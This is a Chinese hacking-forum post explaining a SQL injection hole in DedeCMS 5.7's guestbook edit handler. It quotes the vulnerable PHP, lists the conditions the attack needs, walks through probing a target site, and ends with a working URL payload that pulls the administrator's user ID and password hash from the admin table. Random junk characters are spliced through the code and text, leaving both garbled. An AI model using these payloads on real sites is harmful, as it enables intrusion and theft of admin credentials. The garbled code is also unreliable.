找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4056|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.7
6 C8 |- t2 Z! d# \: A; J1 h* t! x" n/ E1 L
漏洞文件edit.inc.php具体代码:
& H' K/ F+ W- M3 k. a8 F  ^% ?5 s8 A/ O) a
< ?php  & [& j9 M& Q( h$ F. O) x0 u
  V0 ^' ]+ h$ Q5 V5 q! ~% K
if(!defined('DEDEINC')) exit('Request Error!');  
/ {6 A& p; \8 N9 q6 ^9 e# {3 Q2 b- X1 {; F" T, ]& l
   
3 M  M/ H9 v7 A1 M7 `
: Y' K9 d* U9 Sif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  0 a9 w2 t; y0 b+ P/ O: X0 Z
1 g9 N& y4 h/ q4 l' ^/ y0 r9 r- m4 q
else $GUEST_BOOK_POS = "guestbook.php";  
. q1 h* t7 W9 u, ^/ Y6 J" V1 x- {; q
   
% T: m: F0 Z9 j$ h  e! s9 L" c6 U% T) X" @1 U+ h' R; g
$id = intval($id);  
' q8 M" o7 U* k0 P
5 [+ a8 G( |# e' F" H* Bif(empty($job)) $job='view';  9 s: y% u) p! r* G4 y
  a9 Q3 a+ z) a  o, e3 a0 _& d
     E3 {) l* p) X

7 P4 S: O  F9 P) Dif($job=='del' && $g_isadmin)  
9 f) k3 e- V+ M! H1 B
* m# F7 v) F7 Q  U$ B3 L) z4 _2 r{  
0 {5 B. e% r/ J# j3 k7 I* _/ D' e0 |/ p" }* r* e% E- _$ e& h
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
1 x) t/ ]" g8 i* [1 a: x$ P+ Z6 h" k! [2 J1 M# {5 [+ G5 _
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  0 m: h8 O* E9 K( J6 Y

, H, S8 D. n  r4 M7 B( D" W9 aexit();  
- r) [6 s5 T: y( \* _% x9 v/ J- Z
2 @4 M5 X* G, X0 V; K7 ?}  1 {6 t8 F( c# A" T: ^- o

4 Y  T) c: d1 Q, M$ [) \else if($job=='check' && $g_isadmin)  
; H  T+ d: w$ ?; x' _! f. O# C: I5 V, ?8 P1 V8 W$ g9 S
{  ! X0 H0 e6 t) J% j
& u1 `1 _: d) w" P; _
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
. B8 t0 G2 v: r& U* G
: d4 X  d# Q2 C8 R- xShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  5 d. h: T- \0 h7 g( b" L  _. K
+ L) s: d$ Z  H
exit();  ) D& ~# A! I0 Z% ]
% I3 u9 K% I4 A7 A; K' p1 D. l# H: z
}  
% c* l- x. U; c2 W9 O7 K6 q4 O1 _6 J. D' @% R+ v. w9 I! Q( L9 u
else if($job=='editok')  
8 c5 Q3 W- h+ M4 J; X5 d  ]% Y* x( ~* l
{  
8 Y6 }' M# f4 c: V: _
4 K; S! t- N9 C' O/ n3 f, f$remsg = trim($remsg);  
- b1 l, l  x0 w  ~  ^& v* Y+ m" L* |; K
if($remsg!='')  ' _* h8 d( {! j( r
: r8 U' A. n- M: ]3 |7 \( {
{  6 p' [7 h: \7 [

% i; L1 `% x) h, I: m//管理员回复不过滤HTML By:Errorera blog:errs.cc  
" {# ?/ r7 {. m. v6 m0 y$ \* q5 H7 J, y6 Z- Q" }
if($g_isadmin)  
3 d. D6 @9 ]4 s+ O9 ?- z8 X8 C( r# z6 D& p  e4 K5 |% ?% z2 c
{  4 W  r6 Q  B' |4 G( {3 J

' Z7 t1 |) t2 Z! ]$ H( Z$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  7 m7 b' m! B: Y# N$ C( Y2 H

3 }# Z  O9 F  G//$remsg <br /><font color=red>管理员回复:</font> }  
2 U+ \" B' u7 h4 m5 y; ?8 S2 r1 ^5 `# C% Y6 x2 H! k$ _. h9 X
else
! ]! u1 K, o5 A5 B, D1 f2 F4 V5 i. v! F7 c* O/ h6 E7 k4 |7 x
{  
0 @! e+ \2 Z& g5 [% p3 p! `' e* ?+ G/ V  E# G+ P) g0 U: S
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  ) v& o# u. {5 Z& v! U

3 ?+ s; M+ I  f! Z0 S7 f" o$ ^$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
1 S( G* [$ Y$ F8 W" Z
1 _" I% x4 H+ h4 \* @/ e" }( N' x$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  1 o7 i$ M5 t7 _/ b" ?7 ]
/ `: {  B; k2 R  b4 ~1 A! @) }
$msg = $oldmsg.$remsg;  . k, x  x. w$ o" M6 m% T/ a

# N( d$ {; i9 @% z1 d}  
# P- L* x( l8 c% l. D
; n/ x  `! ~3 ?) U: ?}  7 S) o2 E8 U0 }- Y6 e4 t, L
# O  T2 i  L6 ^; b, R/ Z# F
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
2 u. N  w+ ^' n% g( q+ n# W: m1 k$ u$ T  c5 N- c
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  ) E9 R, V- {* ]. f# j3 x

! r$ f' ~0 c4 |% VShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);    x. i% d9 w" o9 D# Z# Y
6 v. m0 m* i, @& D) z
exit();  2 [1 y2 C7 F: |  H4 N' I
1 j3 H. L% R' M6 Z% f
}  
9 O" p5 I3 B0 w! ~# V5 Q. o+ u" p" J( B
//home:www.errs.cc  
  v7 D1 H4 e& ~* A7 L! H' y4 ]% a8 Q
if($g_isadmin)  
9 i3 k' y3 v0 q1 u: _' S( J" w  _) R# K' P
{    i+ T2 ]' \/ a& o1 f/ F1 v" P
9 f3 C1 v4 R; J5 Z: h
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
  k. r2 `! T% t# C0 {5 W% G: ]/ K6 k4 p* V3 l
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
$ ]. x9 }, D0 w$ P( v& G: Q! K
. i2 W2 x6 \2 X. u: V: H& x, A$ G}  
" {) C7 q8 y2 I) Y4 n7 W" o2 ]9 W( x1 M' v# G( a
else
, A- T' A! R% x! u, j6 [% `! @' C3 N" [
{  
# z& a! t/ D4 v1 _  Y3 `2 O0 v1 D0 U% c- v! K3 z
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  0 b) A+ |' P1 w. M4 H' x+ n
0 ^3 K$ d* D0 L2 [/ N
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
. F7 T- N) t! v9 V- j8 @/ H9 \% A) q' ]4 C6 Y  F0 g2 q# T
} 漏洞成功需要条件:2 b; X6 G! Y3 F! {) P* v+ N
1. php magic_quotes_gpc=off
+ |& m! I2 Z/ g3 ^( J! a2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。5 o! E( i# x, O8 n
5 G' X; I* z- p* A: `1 [! p9 E- o
怎么判断是否存在漏洞:/ \" z2 q. }7 `0 L2 B
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,+ v8 I7 a. W0 P0 k
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID' h. q$ v( D- Z! w; c# B* \
访问:5 {( Q* ~: `3 s/ |
" V4 Z; S  ]9 h
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了# K! M2 E' s8 m9 s6 N* I
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证- L" `- n1 l) ^- c& D
0 _5 C) {8 F! V5 B/ Q

& j# s2 y$ H0 T0 f: w- f+ K明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
" t( B$ X; D/ N- [! C如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。. u* j, g3 _% {7 E( F2 o& a
那么再次访问' R6 H; X$ O7 n$ b% s, R
+ A% }- \; u$ y: v# T& y& i( T$ E
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
: ~. O% n$ b' h& L* o0 @1 J7 a# |6 O# Q% x# X
大概利用就是这样,大家有兴趣的多研究下!!& ~" k6 ]9 F5 y: l/ Y' v  A
3 Q( x  L9 @- q1 \
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!$ v% h1 G+ t; I7 R

) q+ E/ j5 {/ v' w! F: K' Zview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表